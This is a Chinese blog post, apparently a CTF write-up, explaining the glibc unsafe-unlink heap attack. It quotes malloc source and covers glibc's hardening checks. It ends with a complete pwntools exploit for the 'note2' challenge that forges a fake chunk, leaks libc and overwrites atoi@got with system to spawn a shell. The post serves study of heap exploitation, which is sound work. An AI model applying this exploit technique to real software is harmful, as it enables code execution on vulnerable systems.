unsafe unlink

unsafe unlink

0x00 unlink介绍

​ unlink就是一个“glibc malloc”的内存回收机制,顾名思义,把一个free的chunk从链表中拆取出来。显然,这种利用Unlink的手段针对的是除fastbin以外的其他几个bin链,因为fastbin是个单链表。

​ 什么场合会用到unlink?当需要合并双向链表中相邻的两个free chunk的时候就要用到unlink。这里的合并又分向后合并、向前合并两种情况。

​ unlink攻击技术就是利用unlink过程把free函数的got表项覆盖成为shellcode地址。在后续调用free的时候就可以执行shellcode代码。

0x01 unlink过程源码介绍

一旦涉及到free内存,那么就意味着有新的chunk由allocated状态变成了free状态,此时glibc malloc就需要进行合并操作,就是包括前面所说的两种合并情况。

在这里通过libc源码得到更好的理解,注意以下合并源码操作的chunk都是非 mmaped 块

向前合并

#!c
    /*malloc.c  int_free函数中*/
    /*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的后一个和前一个free chunk*/
static void _int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
//判断是否为mmap分配的chunk
  else if (!chunk_is_mmapped(p)) {
    ...
    nextchunk = chunk_at_offset(p, size);
    ...
    nextsize = chunksize(nextchunk);
/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
      p = chunk_at_offset(p, -((long) prevsize)); 
      unlink(p, bck, fwd);
}   

//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s))) 

/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            
    FD = P->fd;                                   
    BK = P->bk;                                   
    FD->bk = BK;                                  
    BK->fd = FD;                                  
    ...
}

程序的大概逻辑就是先检测free chunk 的上一个chunk是否为mmaped chunk,通过chunk_is_mmapped(p)判断。再者检测前一个chunk是否为free状态,通过prev_inuse(p)来知晓。

注意在默认情况下,堆内存的第一个chunk的prev_inuse位永远是1,表示被分配的状态。第一个的前一个chunk是不存在的,但这不影响prev_inuse位想表示出的状态。

  • 当前一个chunk是allocated状态,显然就不合条件跳过if

  • 当前一个chunk是free状态,就开始向前合并:

    • 把size扩大为size+prev_size
    • 修改指向当前chunk的指针p,让其指向前一个chunk
    • 使用unlink宏,将p所指向的合并后的freechunk从双向列表中移除

    image-20211217150731104

向后合并

#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) { 
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
      /* consolidate forward */
      if (!nextinuse) { //next chunk为free chunk
            unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
          size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向后合并!
      } else
            clear_inuse_bit_at_offset(nextchunk, 0);    

      ……
    }
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            
    FD = P->fd;                                   
    BK = P->bk;                                   
    FD->bk = BK;                                  
    BK->fd = FD;                                  
    ...
}

与向前合并不一样的就是对指针的操作,这里用的是nextchunk而不再是p指针,p还是指向当前freechunk,操作的nextchunk指向p指向的下一个freechunk,总体操作上与向前合并大致一致。

  • 当next chunk是free状态,开始向后合并
    • 将nextchunk从链表中移除
    • 把szie扩大为size+nextsize
image-20211217154344286

以上就是两种合并的具体介绍

接下来就要了解合并后(或者因不满足条件没合并)的chunk是如何进一步处理?

当然这对攻击来说并没有多大关系,但这里扩展了解一下:

#!c
/*
 Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc.
*/  

bck = unsorted_chunks(av); //获取unsorted bin的第一个chunk
/*
  /* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
    #define unsorted_chunks(M)          (bin_at (M, 1))
*/
    //把p插在头节点与第一个chunk之间
      fwd = bck->fd;
      ……
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
        {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }
      bck->fd = p;
      fwd->bk = p;  

      set_head(p, size | PREV_INUSE);//设置当前chunk的size,并将前一个chunk标记为已使用
set_foot(p, size);//将后一个chunk的prev_size设置为当前chunk的size
/*
   /* Set size/use field */
   #define set_head(p, s)       ((p)->size = (s))
   /* Set size at footer (only when chunk is not in use) */
   #define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s))
*/

上述代码的逻辑大概就是:把当前chunk插入到unsorted bin的第头节点与第1个节点之间。分别更改头节点的bk与第一个节点(现在第2节点)的fd,都改成p,设置当前chunk的size,并将前一个chunk标记为已使用,再将后一个chunk的prev_size设置为当前chunk的size。这样就完善成一个新的unsorted链表。

注意:上一段中描述的”前一个“与”后一个“chunk,是指的由chunk的prev_size与size字段隐式连接的chunk,即它们在内存中是连续、相邻的!而不是通过chunk中的fd与bk字段组成的bin(双向链表)中的前一个与后一个chunk,切记!

0x02 实验1

前面已经很详细的讲解了实现unlink以及其上下文的过程。

看一下下面这道题:

程序源代码:

#!c
/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h> 

int main( int argc, char * argv[] )
{
        char * first, * second; 

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

很明显存在一个堆溢出的漏洞,当输入的argv[1]的大小比first所申请到的666字节还要大的时候,就可以把接下去的内容进行覆盖。而实现攻击操作的核心就在于unlink攻击。

假设要覆盖的second chunk header的数据如下(这里告知一下是在32位系统):

1)prev_size =一个偶数,这样就使得p位是0表示first chunk处于free状态。

2)nextszie =-4

3)fd = free@got的地址 - 12,

4)bk = shellcode地址

所以当程序在第4步,调用free(first)后发生什么?向后or向后合并?

frist是处于链表的第一个chunk,前面头节点永远是allocated状态。不会发生向前合并。

那向后合并呢?结合前面的源码,nextchunk就是second chunk。在检测nextchunk是否是free状态的代码如下

#!c
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
这里inuse_bit_at_offset宏定义如下:
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s)                         \
  (((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE)

从上面的代码可以知道,它把nextchunk指针加了一个nextsize,指向了nextchunk的下一个chunk,就是second chunk的下个chunk,按照正常来说就是top块。但我们把nextsize设置成-4,这样在检测的时候,gllibc malloc 就会把second chunk的prev_size字段看成second chunk的next chunk的size字段。而我们已经将second chunk的prev_size字段设置为一个偶数,这样一来inuse_bit_at_offset(nextchunk, nextsize)获得的nextchunk的prev_insue位是0,即nextchunk为free状态,就是second chunk是free状态。

这样就符合向后合并的要求,就要调用unlink函数——unlink(secondchunk, bck, fwd)。

还记得之前的unlink的源代码吗,我把他们原意加以注释

#define unlink(P, BK, FD) {                                            
    FD = P->fd;  // 取前一个chunk                               
    BK = P->bk;   //取后一个chunk                               
    FD->bk = BK;  //前一个chunk的bk指向后一个chunk                 
    BK->fd = FD;   //后一个chunk的fd指向前一个chunk                    //这样就把链表重新接上,取出unlinked节点           
    ...
}

操作开始了,构造的数据要发挥巨大作用了,盯紧这三个参数

P=secondchunk, BK=bck, FD=fwd

  1. FD = P->fd = free@got - 12
  2. BK = P->bk = shellcode地址
  3. FD->bk = (free@got - 12)->bk = free@got = BK = shellcode地址
  4. BK->fd = shellcode地址->fd = FD=free@got - 12

画个图

image-20211218205838442

图一画一些关键的就一目了然了。free@got-12就是把这一段空间当作chunk赋予的首地址指针。这个“chunk”的bk自然就是free的地址。所以free的地址在执行完unlink之后就会被赋值为shellcode的地址。所以在之后执行第5步free(second)就是在调用sellcode。

0x03 unlink攻击对抗

glibc malloc在不断更新,添加了如下的检查机制来防止unlink攻击技巧。

  • 不允许double free:对一个已经free的chunk进行再次的free是不允许的。通过检查prev_inuse来实现。

    所以对于这道题攻击者将size设置成为-4时,就意味着size的prev_inuse位是0,那么在free(first)的时候检查second的size域,发现处于free状态,立马报错。

if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
    errstr = "double free or corruption (!prev)";
    goto errout;
  • invalid nextchunk size :nextchunk的大小应该在8(16)字节到arena的全部系统内存之间。

    所以在设置second的size为-4的时候就绕不过nextchunk的size检查,报错

if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (nextsize >= av->system_mem, 0))
{
    errstr = "free(): invalid next size (normal)";
    goto errout;
}
  • 双向列表指针被破坏:在执行unlink操作的时候,链表中的前一个chunk的fd和下一个chunk的bk应该指向当前即将unlink的chunk

    很显然,替换second的fd和bk内容会立马影响,报错

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
    malloc_printerr (check_action, "corrupted double-linked list", P);

在有上述unlink防御的操作之下,攻击者还是能找到漏洞,攻击者的脑洞永远比天大。看一下下面这道题。

0x04 实验2--note2

image-20211219204209525

0x000 试玩

root@ubuntu20:~/ln2# ./note2
Input your name:
aa
Input your address:
aa
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>
1
Input the length of the note content:(less than 128)
16    
Input the note content:
dfnasdlkfna
note add success, the id is 0
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>
2
Input the id of the note:
0
Content is dfnasdlkfna
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>
3
Input the id of the note:
0
do you want to overwrite or append?[1.overwrite/2.append]

可以看到是很经典的菜单,是一道经典的堆题。

先ida反编译

1.main函数:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  getStr(name, 64LL, 10);//getStr是个自定义函数
  puts("Input your address:");
  getStr(addr, 96LL, 10);
  while ( 1 )
  {
    switch ( menu() )
    {
      case 1:
        new();
        break;
      case 2:
        show();
        break;
      case 3:
        edit();
        break;
      case 4:
        del();
        break;
      case 5:
        puts("Bye~");
        exit(0);
      case 6:
        exit(0);
      default:
        continue;
    }
  }
}

getstr自定义,点击打开。

unsigned __int64 __fastcall getStr(char *a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == a3 )//buf不给读入a3内容
      break;
    a1[i] = buf;
  }
  a1[i] = 0;
  return i;
}

可以看到这里定义的i是unsigned __int64无符号整型变量,而a2是__int64是有符号整型变量

当 a2 - 1 > i,他们进行比较的时候,C语言会把有符号的整型变量转变为无符号的变量进而进行比较。所以当a2可控,让a2=0时;a2-1将时负数,在转化为无符号的整型变量时将会变得很大,足以使得for的该条件永远成立。这就是整数溢出漏洞。

2.new函数的代码

void new()
{
  unsigned int id; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]
  char *p; // [rsp+8h] [rbp-8h]

  if ( (unsigned int)cnt <= 3 )//申请不超过4个chunk
  {
    puts("Input the length of the note content:(less than 128)");
    size = getInt();
    if ( size <= 0x80 )//申请的chunk大小不超过128
    {
      p = (char *)malloc(size);
      puts("Input the note content:");
      getStr(p, size, 10);
      filter(p);//点开发现其功能是把%过滤
      ptr[cnt] = p;//ptr[]数组里面存放chunk的返回指针
      length[cnt] = size;//length[]数组存放chunk的size
      id = cnt++;//会等于id = cnt;cnt++;
      printf("note add success, the id is %d\n", id);
    }
    else
    {
      puts("Too long");
    }
  }
  else
  {
    puts("note lists are full");
  }
}

这里得getstr的size可控。那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。

明确一点像出现得ptr、length、cnt等都是全局变量,他们的地址可以在bss看到

image-20211220102619020

3.show函数代码

void show()
{
  int idx; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  idx = getInt();
  if ( idx >= 0 && idx <= 3 )//0-3
  {
    if ( ptr[idx] )
      printf("Content is %s\n", ptr[idx]);//把指针也就是chunk的内容输出
  }
}

4.edit函数代码

void edit()
{
  char *v0; // rbx
  int idx; // [rsp+8h] [rbp-E8h]
  int choice; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 size; // [rsp+18h] [rbp-D8h]
  char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
  char *v6; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v7; // [rsp+D8h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  if ( cnt )
  {
    puts("Input the id of the note:");
    idx = getInt();
    if ( idx >= 0 && idx <= 3 )
    {
      src = ptr[idx];//把chunk指针取出
      size = length[idx];//对应size取出
      if ( src )//判空
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        choice = getInt();
        if ( choice == 1 || choice == 2 )
        {
          if ( choice == 1 )
            dest[0] = 0;
          else
            strcpy(dest, src);//拷贝chunk中的数据
          v6 = (char *)malloc(0xA0uLL);//临时申请一个大小为160字节的chunk
          strcpy(v6, "TheNewContents:");
          printf(v6);
          getStr(v6 + 15, 144LL, 10);//从申请的chunk数据部分第15个字节以后,读入144个字节
          filter(v6 + 15);
          v0 = v6;//移交控制权
          v0[size - strlen(dest) + 14] = 0;
            //C 库函数 char *strncat(char *dest, const char *src, size_t n) 把src 所指向的字符串追加到 dest 所指向的字符串的结尾,直到 n 字符长度为止。
          strncat(dest, v6 + 15, 0xFFFFFFFFFFFFFFFFLL);//将输入字符串追加到dest中数据后面
          strcpy(src, dest);//再把完整的数据拷贝回chunk中
          free(v6);//对临时chunk进行释放
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
}

注意这里申请的临时chunk是0xa0固定大小。

在free之后并没有把指针清零,出现uaf漏洞。

5.del函数代码

void del()
{
  int idx; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  idx = getInt();
  if ( idx >= 0 && idx <= 3 )
  {
    if ( ptr[idx] )
    {
      free(ptr[idx]);//对chunk进行free
      ptr[idx] = 0LL;//返回指针清零
      length[idx] = 0LL;//长度清零
      puts("delete note success!");
    }
  }
}

0x001 漏洞利用

思路如下:

  • 绕过三个检查机制

  • 创建3个chunk分别是chunk0、chunk1、chunk2。其中chunk0读入的是构造伪造的fake chunk的数据(包括chunk头和fd、bk域)。

  • 为了堆溢出,输入chunk1的size是0,size虽是0但实际上在glibc malloc默认分配0x20大小的空间。申请完三个chunk后,对chunk1直接free,就会回收到fastbin链中去,再通过重新new,获得该空间的控制,就可以利用整数溢出,输入大于0x20字节的数据实现对chunk2头部的覆盖

  • 最后free(chunk2),这样就会有unlink过程,在检查上一个chunk,即fake chunk的时候发现其满足条件,此时就会向前合并。

  • unlink为的不是要合并的结果;要的是中间巧妙的四句

    FD = P->fd;                                   
    BK = P->bk;                                   
    FD->bk = BK;                                  
    BK->fd = FD;
    

    严格来讲是前三句,简化就是P->fd->bk=P->bk,最后成功把指针指向修改

具体内存情况如下

申请的三个chunk:

image-20211220210926147

伪造后的chunk:

image-20211221101046869

unlink后:

image-20211221090739575
  • unlink后实现对ptr指针的控制,使得ptr[0]=&ptr[0]-0x18,然后修改ptr[0][3]为atoi@got,让ptr[0]指向atoi@got,通过show函数就可以让atoi的真实地址输出,再结合偏移,就可以拿到libc的基地址,进而拿到system函数的基地址。

这里有个地方注意:

为什么chunk1不能第一遍new的时候,直接在输入内容覆盖,要放到fastbin里new回来再覆盖?

因为第一遍的时候chunk2还未申请,若直接覆盖,将会是改变top chunk的chunk头。而top_chunk的size也不是随意更改的,因为在sysmalloc中对这个值还要做校验

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
  • 接下来就是通过修改ptr[0],就是atoi@got为system函数的地址,这样调用atoi的时候就是调用system。
  • menu函数里面getint函数就有atoi调用,那么在要用户输入菜单选项的时候,直接输入"/bin/sh\0x00"将会执行system含函数并返回shell

完整脚本

from pwn import *

p = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc-2.24.so")

# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']

rv = p.recv
ru = p.recvuntil
sl = p.sendline
sla = p.sendlineafter
sd = p.send
sda = p.sendafter


def dbg(break_point):
    gdb.attach(p, "b " + break_point)


def new_note(size, content):
    sla("option--->>", "1")
    sla("Input the length of the note content:(less than 128)", str(size))
    sla("Input the note content:", content)


def delete_note(id):
    sla("option--->", "4")
    sla("Input the id of the note:", str(id))

def show_note(id):
    sla("option--->", "2")
    sla("Input the id of the note:", str(id))

def edit_note(id, option, content):
    sla("option--->", "3")
    sla("Input the id of the note:", str(id))
    sla("[1.overwrite/2.append]", str(option))
    sla("TheNewContents:", content)


sla("Input your name:", "Lantern")
sla("Input your address:", "Lantern")

# dbg("*0x000000000400B0F")

ptr = 0x602120
payload = b"a" * 8 + p64(0x61) + p64(ptr - 0x18)  + p64(ptr - 0x10)
payload = payload.ljust(0x60, b'b')

new_note(0x80, payload) # 0
new_note(0,   'b') # 1
new_note(0x80, 'a') # 2

delete_note(1)

payload = b"b" * 16 + p64(0x80 + 0x20) + p64(0x90)

new_note(0, payload)

delete_note(2)

payload = b"a" * 0x18 + p64(elf.got['atoi'])
edit_note(0, 1 , payload)


show_note(0)

ru("Content is ")
atoi_address = u64(ru("\n", drop = True).ljust(8, b'\x00'))

log.success("atoi_address: " + hex(atoi_address))

libc.address = atoi_address - libc.symbols['atoi']
system_address = libc.symbols['system']

log.success("system_address: " + hex(system_address))
log.success("libc.address: " + hex(libc.address))

payload = p64(system_address)
edit_note(0, 1, payload)

sla("option--->>", "/bin/sh")

p.interactive()

image-20211221110304164

posted @ 2021-12-18 21:21  DAMOXILAI  阅读(140)  评论(0编辑  收藏  举报